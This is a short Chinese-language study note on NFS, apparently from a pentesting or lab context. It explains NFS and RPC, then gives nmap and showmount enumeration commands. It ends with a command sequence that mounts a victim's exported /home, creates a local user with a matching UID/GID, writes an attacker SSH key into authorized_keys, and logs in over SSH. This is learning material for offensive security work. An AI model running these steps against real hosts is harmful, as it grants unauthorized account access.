0%

NFS笔记

NFS学习

NFS

NFS是啥服务呢?NFS是Network File System的简写。它允许一个系统在网络上与其他系统共享目录和文件。通过使用NFS,用户和程序几乎可以像访问本地文件一样访问远程系统上的文件。它通过在服务器上挂载文件系统的全部或部分来实现这一点。客户机可以使用分配给每个文件的任何特权访问挂载的文件系统的部分。

1.挂载磁盘->2.NFSD(NFS Daemon)会使用rpc连接到相关的挂载进程->3.服务器将检查连接用户权限,并返回文件句柄

所以,rpc实际上为Remote Procedure Call,翻译过来为“远程过程调用”。目前,主流的平台中都支持各种远程调用技术,以满足分布式系统架构中不同的系统之间的远程通信和相互调用

枚举服务

nmap 脚本

nmap -sV -p 111 –script=rpcinfo {target_ip}

关于nfs的脚本目录

1
2
3
/usr/share/nmap/scripts/nfs-ls.nse
/usr/share/nmap/scripts/nfs-statfs.nse
/usr/share/nmap/scripts/nfs-showmount.nse

/usr/sbin/showmount

1
/usr/sbin/showmount -e [ip]

这个命令也可以显示有什么目录能够挂载

挂载操作

1
2
mkdir /tmp/nfs
mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs

探测可挂载的目录。 可以看到/home/peter允许挂载,那么我们就可以挂载之后在自己的机器上添加一个用户,去操作这个用户的文件之类的。

1
2
3
4
5
6
7
8
9
nmap -p 111 --script=nfs* 192.168.56.7
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-12 07:40 EDT
Nmap scan report for 192.168.56.7
Host is up (0.00092s latency).

PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /home/peter *

写入操作。

1
2
3
4
5
6
7
8
9
mkdir ~/home
sudo mount 192.168.56.7:/home/ /home/kali/home/
sudo grounpadd -g 1005 peter
sudo adduser peter -uid 1001 -gid 1005

su peter
ssh-keygen
cat ~/home/.ssh/id_rsa.pub >/home/kali/home/peter/.ssh/authorized_keys
ssh [email protected]